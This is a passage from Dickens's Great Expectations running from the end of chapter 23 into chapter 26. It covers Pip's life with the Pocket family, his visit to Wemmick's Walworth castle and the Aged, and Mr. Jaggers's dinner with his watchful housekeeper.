orange steeped in sugar and wine, and forgetting all about +the baby on her lap: who did most appalling things with the +nutcrackers. At length, little Jane perceiving its young brains to +be imperilled, softly left her place, and with many small artifices +coaxed the dangerous weapon away. Mrs. Pocket finishing her orange +at about the same time, and not approving of this, said to Jane: + +"You naughty child, how dare you? Go and sit down this instant!" + +"Mamma dear," lisped the little girl, "baby ood have put hith eyeth +out." + +"How dare you tell me so?" retorted Mrs. Pocket. "Go and sit down in +your chair this moment!" + +Mrs. Pocket's dignity was so crushing, that I felt quite abashed: as +if I myself had done something to rouse it. + +"Belinda," remonstrated Mr. Pocket, from the other end of the table, +"how can you be so unreasonable? Jane only interfered for the +protection of baby." + +"I will not allow anybody to interfere," said Mrs. Pocket. "I am +surprised, Matthew, that you should expose me to the affront of +interference." + +"Good God!" cried Mr. Pocket, in an outbreak of desolate +desperation. "Are infants to be nutcrackered into their tombs, and +is nobody to save them?" + +"I will not be interfered with by Jane," said Mrs. Pocket, with a +majestic glance at that innocent little offender. "I hope I know my +poor grandpapa's position. Jane, indeed!" + +Mr. Pocket got his hands in his hair again, and this time really did +lift himself some inches out of his chair. "Hear this!" he +helplessly exclaimed to the elements. "Babies are to be +nutcrackered dead, for people's poor grandpapa's positions!" Then +he let himself down again, and became silent. + +We all looked awkwardly at the table-cloth while this was going on. +A pause succeeded, during which the honest and irrepressible baby +made a series of leaps and crows at little Jane, who appeared to me +to be the only member of the family (irrespective of servants) with +whom it had any decided acquaintance. + +"Mr. Drummle," said Mrs. Pocket, "will you ring for Flopson? Jane, +you undutiful little thing, go and lie down. Now, baby darling, +come with ma!" + +The baby was the soul of honour, and protested with all its might. +It doubled itself up the wrong way over Mrs. Pocket's arm, exhibited +a pair of knitted shoes and dimpled ankles to the company in lieu +of its soft face, and was carried out in the highest state of +mutiny. And it gained its point after all, for I saw it through the +window within a few minutes, being nursed by little Jane. + +It happened that the other five children were left behind at the +dinner-table, through Flopson's having some private engagement, and +their not being anybody else's business. I thus became aware of the +mutual relations between them and Mr. Pocket, which were exemplified +in the following manner. Mr. Pocket, with the normal perplexity of +his face heightened and his hair rumpled, looked at them for some +minutes, as if he couldn't make out how they came to be boarding +and lodging in that establishment, and why they hadn't been +billeted by Nature on somebody else. Then, in a distant, Missionary +way he asked them certain questions - as why little Joe had that +hole in his frill: who said, Pa, Flopson was going to mend it when +she had time - and how little Fanny came by that whitlow: who said, +Pa, Millers was going to poultice it when she didn't forget. Then, +he melted into parental tenderness, and gave them a shilling apiece +and told them to go and play; and then as they went out, with one +very strong effort to lift himself up by the hair he dismissed the +hopeless subject. + +In the evening there was rowing on the river. As Drummle and +Startop had each a boat, I resolved to set up mine, and to cut them +both out. I was pretty good at most exercises in which countryboys +are adepts, but, as I was conscious of wanting elegance of style +for the Thames - not to say for other waters - I at once engaged to +place myself under the tuition of the winner of a prizewherry who +plied at our stairs, and to whom I was introduced by my new allies. +This practical authority confused me very much, by saying I had the +arm of a blacksmith. If he could have known how nearly the +compliment lost him his pupil, I doubt if he would have paid it. + +There was a supper-tray after we got home at night, and I think we +should all have enjoyed ourselves, but for a rather disagreeable +domestic occurrence. Mr. Pocket was in good spirits, when a +housemaid came in, and said, "If you please, sir, I should wish to +speak to you." + +"Speak to your master?" said Mrs. Pocket, whose dignity was roused +again. "How can you think of such a thing? Go and speak to Flopson. +Or speak to me - at some other time." + +"Begging your pardon, ma'am," returned the housemaid, "I should +wish to speak at once, and to speak to master." + +Hereupon, Mr. Pocket went out of the room, and we made the best of +ourselves until he came back. + +"This is a pretty thing, Belinda!" said Mr. Pocket, returning with a +countenance expressive of grief and despair. "Here's the cook lying +insensibly drunk on the kitchen floor, with a large bundle of fresh +butter made up in the cupboard ready to sell for grease!" + +Mrs. Pocket instantly showed much amiable emotion, and said, "This +is that odious Sophia's doing!" + +"What do you mean, Belinda?" demanded Mr. Pocket. + +"Sophia has told you," said Mrs. Pocket. "Did I not see her with my +own eyes and hear her with my own ears, come into the room just now +and ask to speak to you?" + +"But has she not taken me down stairs, Belinda," returned Mr. +Pocket, "and shown me the woman, and the bundle too?" + +"And do you defend her, Matthew," said Mrs. Pocket, "for making +mischief?" + +Mr. Pocket uttered a dismal groan. + +"Am I, grandpapa's granddaughter, to be nothing in the house?" said +Mrs. Pocket. "Besides, the cook has always been a very nice +respectful woman, and said in the most natural manner when she came +to look after the situation, that she felt I was born to be a +Duchess." + +There was a sofa where Mr. Pocket stood, and he dropped upon it in +the attitude of the Dying Gladiator. Still in that attitude he +said, with a hollow voice, "Good night, Mr. Pip," when I deemed it +advisable to go to bed and leave him. + + +Chapter 24 + +After two or three days, when I had established myself in my room +and had gone backwards and forwards to London several times, and +had ordered all I wanted of my tradesmen, Mr. Pocket and I had a +long talk together. He knew more of my intended career than I knew +myself, for he referred to his having been told by Mr. Jaggers that +I was not designed for any profession, and that I should be well +enough educated for my destiny if I could "hold my own" with the +average of young men in prosperous circumstances. I acquiesced, of +course, knowing nothing to the contrary. + +He advised my attending certain places in London, for the +acquisition of such mere rudiments as I wanted, and my investing +him with the functions of explainer and director of all my studies. +He hoped that with intelligent assistance I should meet with little +to discourage me, and should soon be able to dispense with any aid +but his. Through his way of saying this, and much more to similar +purpose, he placed himself on confidential terms with me in an +admirable manner; and I may state at once that he was always so +zealous and honourable in fulfilling his compact with me, that he +made me zealous and honourable in fulfilling mine with him. If he +had shown indifference as a master, I have no doubt I should have +returned the compliment as a pupil; he gave me no such excuse, and +each of us did the other justice. Nor, did I ever regard him as +having anything ludicrous about him - or anything but what was +serious, honest, and good - in his tutor communication with me. + +When these points were settled, and so far carried out as that I +had begun to work in earnest, it occurred to me that if I could +retain my bedroom in Barnard's Inn, my life would be agreeably +varied, while my manners would be none the worse for Herbert's +society. Mr. Pocket did not object to this arrangement, but urged +that before any step could possibly be taken in it, it must be +submitted to my guardian. I felt that this delicacy arose out of +the consideration that the plan would save Herbert some expense, so +I went off to Little Britain and imparted my wish to Mr. Jaggers. + +"If I could buy the furniture now hired for me," said I, "and one +or two other little things, I should be quite at home there." + +"Go it!" said Mr. Jaggers, with a short laugh. "I told you you'd get +on. Well! How much do you want?" + +I said I didn't know how much. + +"Come!" retorted Mr. Jaggers. "How much? Fifty pounds?" + +"Oh, not nearly so much." + +"Five pounds?" said Mr. Jaggers. + +This was such a great fall, that I said in discomfiture, "Oh! more +than that." + +"More than that, eh!" retorted Mr. Jaggers, lying in wait for me, +with his hands in his pockets, his head on one side, and his eyes +on the wall behind me; "how much more?" + +"It is so difficult to fix a sum," said I, hesitating. + +"Come!" said Mr. Jaggers. "Let's get at it. Twice five; will that +do? Three times five; will that do? Four times five; will that do?" + +I said I thought that would do handsomely. + +"Four times five will do handsomely, will it?" said Mr. Jaggers, +knitting his brows. "Now, what do you make of four times five?" + +"What do I make of it?" + +"Ah!" said Mr. Jaggers; "how much?" + +"I suppose you make it twenty pounds," said I, smiling. + +"Never mind what I make it, my friend," observed Mr. Jaggers, with a +knowing and contradictory toss of his head. "I want to know what +you make it." + +"Twenty pounds, of course." + +"Wemmick!" said Mr. Jaggers, opening his office door. "Take Mr. Pip's +written order, and pay him twenty pounds." + +This strongly marked way of doing business made a strongly marked +impression on me, and that not of an agreeable kind. Mr. Jaggers +never laughed; but he wore great bright creaking boots, and, in +poising himself on these boots, with his large head bent down and +his eyebrows joined together, awaiting an answer, he sometimes +caused the boots to creak, as if they laughed in a dry and +suspicious way. As he happened to go out now, and as Wemmick was +brisk and talkative, I said to Wemmick that I hardly knew what to +make of Mr. Jaggers's manner. + +"Tell him that, and he'll take it as a compliment," answered +Wemmick; "he don't mean that you should know what to make of it. - +Oh!" for I looked surprised, "it's not personal; it's professional: +only professional." + +Wemmick was at his desk, lunching - and crunching - on a dry hard +biscuit; pieces of which he threw from time to time into his slit +of a mouth, as if he were posting them. + +"Always seems to me," said Wemmick, "as if he had set a mantrap and +was watching it. Suddenly - click - you're caught!" + +Without remarking that mantraps were not among the amenities of +life, I said I supposed he was very skilful? + +"Deep," said Wemmick, "as Australia." Pointing with his pen at the +office floor, to express that Australia was understood, for the +purposes of the figure, to be symmetrically on the opposite spot of +the globe. "If there was anything deeper," added Wemmick, bringing +his pen to paper, "he'd be it." + +Then, I said I supposed he had a fine business, and Wemmick said, +"Ca-pi-tal!" Then I asked if there were many clerks? to which he +replied: + +"We don't run much into clerks, because there's only one Jaggers, +and people won't have him at second-hand. There are only four of +us. Would you like to see 'em? You are one of us, as I may say." + +I accepted the offer. When Mr. Wemmick had put all the biscuit into +the post, and had paid me my money from a cash-box in a safe, the +key of which safe he kept somewhere down his back and produced from +his coat-collar like an iron pigtail, we went up-stairs. The house +was dark and shabby, and the greasy shoulders that had left their +mark in Mr. Jaggers's room, seemed to have been shuffling up and +down the staircase for years. In the front first floor, a clerk who +looked something between a publican and a rat-catcher - a large +pale puffed swollen man - was attentively engaged with three or +four people of shabby appearance, whom he treated as +unceremoniously as everybody seemed to be treated who contributed +to Mr. Jaggers's coffers. "Getting evidence together," said Mr. +Wemmick, as we came out, "for the Bailey." + +In the room over that, a little flabby terrier of a clerk with +dangling hair (his cropping seemed to have been forgotten when he +was a puppy) was similarly engaged with a man with weak eyes, whom +Mr. Wemmick presented to me as a smelter who kept his pot always +boiling, and who would melt me anything I pleased - and who was in +an excessive white-perspiration, as if he had been trying his art on +himself. In a back room, a high-shouldered man with a face-ache tied +up in dirty flannel, who was dressed in old black clothes that bore +the appearance of having been waxed, was stooping over his work of +making fair copies of the notes of the other two gentlemen, for Mr. +Jaggers's own use. + +This was all the establishment. When we went down-stairs again, +Wemmick led me into my guardian's room, and said, "This you've seen +already." + +"Pray," said I, as the two odious casts with the twitchy leer upon +them caught my sight again, "whose likenesses are those?" + +"These?" said Wemmick, getting upon a chair, and blowing the dust +off the horrible heads before bringing them down. "These are two +celebrated ones. Famous clients of ours that got us a world of +credit. This chap (why you must have come down in the night and +been peeping into the inkstand, to get this blot upon your eyebrow, +you old rascal!) murdered his master, and, considering that he +wasn't brought up to evidence, didn't plan it badly." + +"Is it like him?" I asked, recoiling from the brute, as Wemmick +spat upon his eyebrow and gave it a rub with his sleeve. + +"Like him? It's himself, you know. The cast was made in Newgate, +directly after he was taken down. You had a particular fancy for +me, hadn't you, Old Artful?" said Wemmick. He then explained this +affectionate apostrophe, by touching his brooch representing the +lady and the weeping willow at the tomb with the urn upon it, and +saying, "Had it made for me, express!" + +"Is the lady anybody?" said I. + +"No," returned Wemmick. "Only his game. (You liked your bit of +game, didn't you?) No; deuce a bit of a lady in the case, Mr. Pip, +except one - and she wasn't of this slender ladylike sort, and you +wouldn't have caught her looking after this urn - unless there was +something to drink in it." Wemmick's attention being thus directed +to his brooch, he put down the cast, and polished the brooch with +his pocket-handkerchief. + +"Did that other creature come to the same end?" I asked. "He has +the same look." + +"You're right," said Wemmick; "it's the genuine look. Much as if +one nostril was caught up with a horsehair and a little fish-hook. +Yes, he came to the same end; quite the natural end here, I assure +you. He forged wills, this blade did, if he didn't also put the +supposed testators to sleep too. You were a gentlemanly Cove, +though" (Mr. Wemmick was again apostrophizing), "and you said you +could write Greek. Yah, Bounceable! What a liar you were! I never +met such a liar as you!" Before putting his late friend on his +shelf again, Wemmick touched the largest of his mourning rings and +said, "Sent out to buy it for me, only the day before." + +While he was putting up the other cast and coming down from the +chair, the thought crossed my mind that all his personal jewellery +was derived from like sources. As he had shown no diffidence on the +subject, I ventured on the liberty of asking him the question, when +he stood before me, dusting his hands. + +"Oh yes," he returned, "these are all gifts of that kind. One +brings another, you see; that's the way of it. I always take 'em. +They're curiosities. And they're property. They may not be worth +much, but, after all, they're property and portable. It don't +signify to you with your brilliant look-out, but as to myself, my +guidingstar always is, "Get hold of portable property"." + +When I had rendered homage to this light, he went on to say, in a +friendly manner: + +"If at any odd time when you have nothing better to do, you +wouldn't mind coming over to see me at Walworth, I could offer you +a bed, and I should consider it an honour. I have not much to show +you; but such two or three curiosities as I have got, you might +like to look over; and I am fond of a bit of garden and a +summer-house." + +I said I should be delighted to accept his hospitality. + +"Thankee," said he; "then we'll consider that it's to come off, +when convenient to you. Have you dined with Mr. Jaggers yet?" + +"Not yet." + +"Well," said Wemmick, "he'll give you wine, and good wine. I'll +give you punch, and not bad punch. And now I'll tell you something. +When you go to dine with Mr. Jaggers, look at his housekeeper." + +"Shall I see something very uncommon?" + +"Well," said Wemmick, "you'll see a wild beast tamed. Not so very +uncommon, you'll tell me. I reply, that depends on the original +wildness of the beast, and the amount of taming. It won't lower +your opinion of Mr. Jaggers's powers. Keep your eye on it." + +I told him I would do so, with all the interest and curiosity that +his preparation awakened. As I was taking my departure, he asked me +if I would like to devote five minutes to seeing Mr. Jaggers "at +it?" + +For several reasons, and not least because I didn't clearly know +what Mr. Jaggers would be found to be "at," I replied in the +affirmative. We dived into the City, and came up in a crowded +policecourt, where a blood-relation (in the murderous sense) of the +deceased with the fanciful taste in brooches, was standing at the +bar, uncomfortably chewing something; while my guardian had a woman +under examination or cross-examination - I don't know which - and +was striking her, and the bench, and everybody present, with awe. +If anybody, of whatsoever degree, said a word that he didn't +approve of, he instantly required to have it "taken down." If +anybody wouldn't make an admission, he said, "I'll have it out of +you!" and if anybody made an admission, he said, "Now I have got +you!" the magistrates shivered under a single bite of his finger. +Thieves and thieftakers hung in dread rapture on his words, and +shrank when a hair of his eyebrows turned in their direction. Which +side he was on, I couldn't make out, for he seemed to me to be +grinding the whole place in a mill; I only know that when I stole +out on tiptoe, he was not on the side of the bench; for, he was +making the legs of the old gentleman who presided, quite convulsive +under the table, by his denunciations of his conduct as the +representative of British law and justice in that chair that day. + + +Chapter 25 + +Bentley Drummle, who was so sulky a fellow that he even took up a +book as if its writer had done him an injury, did not take up an +acquaintance in a more agreeable spirit. Heavy in figure, movement, +and comprehension - in the sluggish complexion of his face, and in +the large awkward tongue that seemed to loll about in his mouth as +he himself lolled about in a room - he was idle, proud, niggardly, +reserved, and suspicious. He came of rich people down in +Somersetshire, who had nursed this combination of qualities until +they made the discovery that it was just of age and a blockhead. +Thus, Bentley Drummle had come to Mr. Pocket when he was a head +taller than that gentleman, and half a dozen heads thicker than +most gentlemen. + +Startop had been spoilt by a weak mother and kept at home when he +ought to have been at school, but he was devotedly attached to her, +and admired her beyond measure. He had a woman's delicacy of +feature, and was - "as you may see, though you never saw her," said +Herbert to me - exactly like his mother. It was but natural that I +should take to him much more kindly than to Drummle, and that, even +in the earliest evenings of our boating, he and I should pull +homeward abreast of one another, conversing from boat to boat, +while Bentley Drummle came up in our wake alone, under the +overhanging banks and among the rushes. He would always creep +in-shore like some uncomfortable amphibious creature, even when the +tide would have sent him fast upon his way; and I always think of +him as coming after us in the dark or by the back-water, when our +own two boats were breaking the sunset or the moonlight in +mid-stream. + +Herbert was my intimate companion and friend. I presented him with +a half-share in my boat, which was the occasion of his often coming +down to Hammersmith; and my possession of a halfshare in his +chambers often took me up to London. We used to walk between the +two places at all hours. I have an affection for the road yet +(though it is not so pleasant a road as it was then), formed in the +impressibility of untried youth and hope. + +When I had been in Mr. Pocket's family a month or two, Mr. and Mrs. +Camilla turned up. Camilla was Mr. Pocket's sister. Georgiana, whom +I had seen at Miss Havisham's on the same occasion, also turned up. +she was a cousin - an indigestive single woman, who called her +rigidity religion, and her liver love. These people hated me with +the hatred of cupidity and disappointment. As a matter of course, +they fawned upon me in my prosperity with the basest meanness. +Towards Mr. Pocket, as a grown-up infant with no notion of his own +interests, they showed the complacent forbearance I had heard them +express. Mrs. Pocket they held in contempt; but they allowed the +poor soul to have been heavily disappointed in life, because that +shed a feeble reflected light upon themselves. + +These were the surroundings among which I settled down, and applied +myself to my education. I soon contracted expensive habits, and +began to spend an amount of money that within a few short months I +should have thought almost fabulous; but through good and evil I +stuck to my books. There was no other merit in this, than my having +sense enough to feel my deficiencies. Between Mr. Pocket and Herbert +I got on fast; and, with one or the other always at my elbow to +give me the start I wanted, and clear obstructions out of my road, +I must have been as great a dolt as Drummle if I had done less. + +I had not seen Mr. Wemmick for some weeks, when I thought I would +write him a note and propose to go home with him on a certain +evening. He replied that it would give him much pleasure, and that +he would expect me at the office at six o'clock. Thither I went, +and there I found him, putting the key of his safe down his back as +the clock struck. + +"Did you think of walking down to Walworth?" said he. + +"Certainly," said I, "if you approve." + +"Very much," was Wemmick's reply, "for I have had my legs under the +desk all day, and shall be glad to stretch them. Now, I'll tell you +what I have got for supper, Mr. Pip. I have got a stewed steak - +which is of home preparation - and a cold roast fowl - which is +from the cook's-shop. I think it's tender, because the master of +the shop was a Juryman in some cases of ours the other day, and we +let him down easy. I reminded him of it when I bought the fowl, and +I said, "Pick us out a good one, old Briton, because if we had +chosen to keep you in the box another day or two, we could easily +have done it." He said to that, "Let me make you a present of the +best fowl in the shop." I let him, of course. As far as it goes, +it's property and portable. You don't object to an aged parent, I +hope?" + +I really thought he was still speaking of the fowl, until he added, +"Because I have got an aged parent at my place." I then said what +politeness required. + +"So, you haven't dined with Mr. Jaggers yet?" he pursued, as we +walked along. + +"Not yet." + +"He told me so this afternoon when he heard you were coming. I +expect you'll have an invitation to-morrow. He's going to ask your +pals, too. Three of 'em; ain't there?" + +Although I was not in the habit of counting Drummle as one of my +intimate associates, I answered, "Yes." + +"Well, he's going to ask the whole gang;" I hardly felt +complimented by the word; "and whatever he gives you, he'll give +you good. Don't look forward to variety, but you'll have +excellence. And there'sa nother rum thing in his house," proceeded +Wemmick, after a moment's pause, as if the remark followed on the +housekeeper understood; "he never lets a door or window be fastened +at night." + +"Is he never robbed?" + +"That's it!" returned Wemmick. "He says, and gives it out publicly, +"I want to see the man who'll rob me." Lord bless you, I have heard +him, a hundred times if I have heard him once, say to regular +cracksmen in our front office, "You know where I live; now, no bolt +is ever drawn there; why don't you do a stroke of business with me? +Come; can't I tempt you?" Not a man of them, sir, would be bold +enough to try it on, for love or money." + +"They dread him so much?" said I. + +"Dread him," said Wemmick. "I believe you they dread him. Not but +what he's artful, even in his defiance of them. No silver, sir. +Britannia metal, every spoon." + +"So they wouldn't have much," I observed, "even if they--" + +"Ah! But he would have much," said Wemmick, cutting me short, "and +they know it. He'd have their lives, and the lives of scores of +'em. He'd have all he could get. And it's impossible to say what he +couldn't get, if he gave his mind to it." + +I was falling into meditation on my guardian's greatness, when +Wemmick remarked: + +"As to the absence of plate, that's only his natural depth, you +know. A river's its natural depth, and he's his natural depth. Look +at his watch-chain. That's real enough." + +"It's very massive," said I. + +"Massive?" repeated Wemmick. "I think so. And his watch is a gold +repeater, and worth a hundred pound if it's worth a penny. Mr. Pip, +there are about seven hundred thieves in this town who know all +about that watch; there's not a man, a woman, or a child, among +them, who wouldn't identify the smallest link in that chain, and +drop it as if it was red-hot, if inveigled into touching it." + +At first with such discourse, and afterwards with conversation of a +more general nature, did Mr. Wemmick and I beguile the time and the +road, until he gave me to understand that we had arrived in the +district of Walworth. + +It appeared to be a collection of back lanes, ditches, and little +gardens, and to present the aspect of a rather dull retirement. +Wemmick's house was a little wooden cottage in the midst of plots +of garden, and the top of it was cut out and painted like a battery +mounted with guns. + +"My own doing," said Wemmick. "Looks pretty; don't it?" + +I highly commended it, I think it was the smallest house I ever +saw; with the queerest gothic windows (by far the greater part of +them sham), and a gothic door, almost too small to get in at. + +"That's a real flagstaff, you see," said Wemmick, "and on Sundays I +run up a real flag. Then look here. After I have crossed this +bridge, I hoist it up - so - and cut off the communication." + +The bridge was a plank, and it crossed a chasm about four feet wide +and two deep. But it was very pleasant to see the pride with which +he hoisted it up and made it fast; smiling as he did so, with a +relish and not merely mechanically. + +"At nine o'clock every night, Greenwich time," said Wemmick, "the +gun fires. There he is, you see! And when you hear him go, I think +you'll say he's a Stinger." + +The piece of ordnance referred to, was mounted in a separate +fortress, constructed of lattice-work. It was protected from the +weather by an ingenious little tarpaulin contrivance in the nature +of an umbrella. + +"Then, at the back," said Wemmick, "out of sight, so as not to +impede the idea of fortifications - for it's a principle with me, +if you have an idea, carry it out and keep it up - I don't know +whether that's your opinion--" + +I said, decidedly. + +" - At the back, there's a pig, and there are fowls and rabbits; +then, I knock together my own little frame, you see, and grow +cucumbers; and you'll judge at supper what sort of a salad I can +raise. So, sir," said Wemmick, smiling again, but seriously too, as +he shook his head, "if you can suppose the little place besieged, +it would hold out a devil of a time in point of provisions." + +Then, he conducted me to a bower about a dozen yards off, but which +was approached by such ingenious twists of path that it took quite +a long time to get at; and in this retreat our glasses were already +set forth. Our punch was cooling in an ornamental lake, on whose +margin the bower was raised. This piece of water (with an island in +the middle which might have been the salad for supper) was of a +circular form, and he had constructed a fountain in it, which, when +you set a little mill going and took a cork out of a pipe, played +to that powerful extent that it made the back of your hand quite +wet. + +"I am my own engineer, and my own carpenter, and my own plumber, +and my own gardener, and my own Jack of all Trades," said Wemmick, +in acknowledging my compliments. "Well; it's a good thing, you +know. It brushes the Newgate cobwebs away, and pleases the Aged. +You wouldn't mind being at once introduced to the Aged, would you? +It wouldn't put you out?" + +I expressed the readiness I felt, and we went into the castle. +There, we found, sitting by a fire, a very old man in a flannel +coat: clean, cheerful, comfortable, and well cared for, but +intensely deaf. + +"Well aged parent," said Wemmick, shaking hands with him in a +cordial and jocose way, "how am you?" + +"All right, John; all right!" replied the old man. + +"Here's Mr. Pip, aged parent," said Wemmick, "and I wish you could +hear his name. Nod away at him, Mr. Pip; that's what he likes. Nod +away at him, if you please, like winking!" + +"This is a fine place of my son's, sir," cried the old man, while I +nodded as hard as I possibly could. "This is a pretty +pleasure-ground, sir. This spot and these beautiful works upon it +ought to be kept together by the Nation, after my son's time, for +the people's enjoyment." + +"You're as proud of it as Punch; ain't you, Aged?" said Wemmick, +contemplating the old man, with his hard face really softened; +"there's a nod for you;" giving him a tremendous one; "there's +another for you;" giving him a still more tremendous one; "you like +that, don't you? If you're not tired, Mr. Pip - though I know it's +tiring to strangers - will you tip him one more? You can't think +how it pleases him." + +I tipped him several more, and he was in great spirits. We left him +bestirring himself to feed the fowls, and we sat down to our punch +in the arbour; where Wemmick told me as he smoked a pipe that it +had taken him a good many years to bring the property up to its +present pitch of perfection. + +"Is it your own, Mr. Wemmick?" + +"O yes," said Wemmick, "I have got hold of it, a bit at a time. +It's a freehold, by George!" + +"Is it, indeed? I hope Mr. Jaggers admires it?" + +"Never seen it," said Wemmick. "Never heard of it. Never seen the +Aged. Never heard of him. No; the office is one thing, and private +life is another. When I go into the office, I leave the Castle +behind me, and when I come into the Castle, I leave the office +behind me. If it's not in any way disagreeable to you, you'll +oblige me by doing the same. I don't wish it professionally spoken +about." + +Of course I felt my good faith involved in the observance of his +request. The punch being very nice, we sat there drinking it and +talking, until it was almost nine o'clock. "Getting near gun-fire," +said Wemmick then, as he laid down his pipe; "it's the Aged's +treat." + +Proceeding into the Castle again, we found the Aged heating the +poker, with expectant eyes, as a preliminary to the performance of +this great nightly ceremony. Wemmick stood with his watch in his +hand, until the moment was come for him to take the red-hot poker +from the Aged, and repair to the battery. He took it, and went out, +and presently the Stinger went off with a Bang that shook the crazy +little box of a cottage as if it must fall to pieces, and made +every glass and teacup in it ring. Upon this, the Aged - who I +believe would have been blown out of his arm-chair but for holding +on by the elbows - cried out exultingly, "He's fired! I heerd him!" +and I nodded at the old gentleman until it is no figure of speech +to declare that I absolutely could not see him. + +The interval between that time and supper, Wemmick devoted to +showing me his collection of curiosities. They were mostly of a +felonious character; comprising the pen with which a celebrated +forgery had been committed, a distinguished razor or two, some +locks of hair, and several manuscript confessions written under +condemnation - upon which Mr. Wemmick set particular value as being, +to use his own words, "every one of 'em Lies, sir." These were +agreeably dispersed among small specimens of china and glass, +various neat trifles made by the proprietor of the museum, and some +tobacco-stoppers carved by the Aged. They were all displayed in +that chamber of the Castle into which I had been first inducted, +and which served, not only as the general sitting-room but as the +kitchen too, if I might judge from a saucepan on the hob, and a +brazen bijou over the fireplace designed for the suspension of a +roasting-jack. + +There was a neat little girl in attendance, who looked after the +Aged in the day. When she had laid the supper-cloth, the bridge was +lowered to give her means of egress, and she withdrew for the +night. The supper was excellent; and though the Castle was rather +subject to dry-rot insomuch that it tasted like a bad nut, and +though the pig might have been farther off, I was heartily pleased +with my whole entertainment. Nor was there any drawback on my +little turret bedroom, beyond there being such a very thin ceiling +between me and the flagstaff, that when I lay down on my back in +bed, it seemed as if I had to balance that pole on my forehead all +night. + +Wemmick was up early in the morning, and I am afraid I heard him +cleaning my boots. After that, he fell to gardening, and I saw him +from my gothic window pretending to employ the Aged, and nodding at +him in a most devoted manner. Our breakfast was as good as the +supper, and at half-past eight precisely we started for Little +Britain. By degrees, Wemmick got dryer and harder as we went along, +and his mouth tightened into a post-office again. At last, when we +got to his place of business and he pulled out his key from his +coat-collar, he looked as unconscious of his Walworth property as +if the Castle and the drawbridge and the arbour and the lake and +the fountain and the Aged, had all been blown into space together +by the last discharge of the Stinger. + + +Chapter 26 + +It fell out as Wemmick had told me it would, that I had an early +opportunity of comparing my guardian's establishment with that of +his cashier and clerk. My guardian was in his room, washing his +hands with his scented soap, when I went into the office from +Walworth; and he called me to him, and gave me the invitation for +myself and friends which Wemmick had prepared me to receive. "No +ceremony," he stipulated, "and no dinner dress, and say tomorrow." +I asked him where we should come to (for I had no idea where he +lived), and I believe it was in his general objection to make +anything like an admission, that he replied, "Come here, and I'll +take you home with me." I embrace this opportunity of remarking +that he washed his clients off, as if he were a surgeon or a +dentist. He had a closet in his room, fitted up for the purpose, +which smelt of the scented soap like a perfumer's shop. It had an +unusually large jack-towel on a roller inside the door, and he +would wash his hands, and wipe them and dry them all over this +towel, whenever he came in from a police-court or dismissed a +client from his room. When I and my friends repaired to him at six +o'clock next day, he seemed to have been engaged on a case of a +darker complexion than usual, for, we found him with his head +butted into this closet, not only washing his hands, but laving his +face and gargling his throat. And even when he had done all that, +and had gone all round the jack-towel, he took out his penknife and +scraped the case out of his nails before he put his coat on. + +There were some people slinking about as usual when we passed out +into the street, who were evidently anxious to speak with him; but +there was something so conclusive in the halo of scented soap which +encircled his presence, that they gave it up for that day. As we +walked along westward, he was recognized ever and again by some +face in the crowd of the streets, and whenever that happened he +talked louder to me; but he never otherwise recognized anybody, or +took notice that anybody recognized him. + +He conducted us to Gerrard-street, Soho, to a house on the south +side of that street. Rather a stately house of its kind, but +dolefully in want of painting, and with dirty windows. He took out +his key and opened the door, and we all went into a stone hall, +bare, gloomy, and little used. So, up a dark brown staircase into a +series of three dark brown rooms on the first floor. There were +carved garlands on the panelled walls, and as he stood among them +giving us welcome, I know what kind of loops I thought they looked +like. + +Dinner was laid in the best of these rooms; the second was his +dressing-room; the third, his bedroom. He told us that he held the +whole house, but rarely used more of it than we saw. The table was +comfortably laid - no silver in the service, of course - and at the +side of his chair was a capacious dumb-waiter, with a variety of +bottles and decanters on it, and four dishes of fruit for dessert. +I noticed throughout, that he kept everything under his own hand, +and distributed everything himself. + +There was a bookcase in the room; I saw, from the backs of the +books, that they were about evidence, criminal law, criminal +biography, trials, acts of parliament, and such things. The +furniture was all very solid and good, like his watch-chain. It had +an official look, however, and there was nothing merely ornamental +to be seen. In a corner, was a little table of papers with a shaded +lamp: so that he seemed to bring the office home with him in that +respect too, and to wheel it out of an evening and fall to work. + +As he had scarcely seen my three companions until now - for, he and +I had walked together - he stood on the hearth-rug, after ringing +the bell, and took a searching look at them. To my surprise, he +seemed at once to be principally if not solely interested in +Drummle. + +"Pip," said he, putting his large hand on my shoulder and moving me +to the window, "I don't know one from the other. Who's the Spider?" + +"The spider?" said I. + +"The blotchy, sprawly, sulky fellow." + +"That's Bentley Drummle," I replied; "the one with the delicate +face is Startop." + +Not making the least account of "the one with the delicate face," +he returned, "Bentley Drummle is his name, is it? I like the look +of that fellow." + +He immediately began to talk to Drummle: not at all deterred by his +replying in his heavy reticent way, but apparently led on by it to +screw discourse out of him. I was looking at the two, when there +came between me and them, the housekeeper, with the first dish for +the table. + +She was a woman of about forty, I supposed - but I may have thought +her younger than she was. Rather tall, of a lithe nimble figure, +extremely pale, with large faded eyes, and a quantity of streaming +hair. I cannot say whether any diseased affection of the heart +caused her lips to be parted as if she were panting, and her face +to bear a curious expression of suddenness and flutter; but I know +that I had been to see Macbeth at the theatre, a night or two +before, and that her face looked to me as if it were all disturbed +by fiery air, like the faces I had seen rise out of the Witches' +caldron. + +She set the dish on, touched my guardian quietly on the arm with a +finger to notify that dinner was ready, and vanished. We took our +seats at the round table, and my guardian kept Drummle on one side +of him, while Startop sat on the other. It was a noble dish of fish +that the housekeeper had put on table, and we had a joint of +equally choice mutton afterwards, and then an equally choice bird. +Sauces, wines, all the accessories we wanted, and all of the best, +were given out by our host from his dumb-waiter; and when they had +made the circuit of the table, he always put them back again. +Similarly, he dealt us clean plates and knives and forks, for each +course, and dropped those just disused into two baskets on the +ground by his chair. No other attendant than the housekeeper +appeared. She set on every dish; and I always saw in her face, a +face rising out of the caldron. Years afterwards, I made a dreadful +likeness of that woman, by causing a face that had no other natural +resemblance to it than it derived from flowing hair, to pass behind +a bowl of flaming spirits in a dark room. + +Induced to take particular notice of the housekeeper, both by her +own striking appearance and by Wemmick's preparation, I observed +that whenever she was in the room, she kept her eyes attentively on +my guardian, and that she would remove her hands from any dish she +put before him, hesitatingly, as if she dreaded his calling her +back, and wanted him to speak when she was nigh, if he had anything +to say. I fancied that I could detect in his manner a consciousness +of this, and a purpose of always holding her in suspense. + +Dinner went off gaily, and, although my guardian seemed to follow +rather than originate subjects, I knew that he wrenched the weakest +part of our dispositions out of us. For myself, I found that I was +expressing my tendency to lavish expenditure, and to patronize +Herbert, and to boast of my great prospects, before I quite knew +that I had opened my lips. It was so with all of us, but with no +one more than Drummle: the development of whose inclination to gird +in a grudging and suspicious way at the rest, was screwed out of +him before the fish was taken off. + +It was not then, but when we had got to the cheese, that our +conversation turned upon our rowing feats, and that 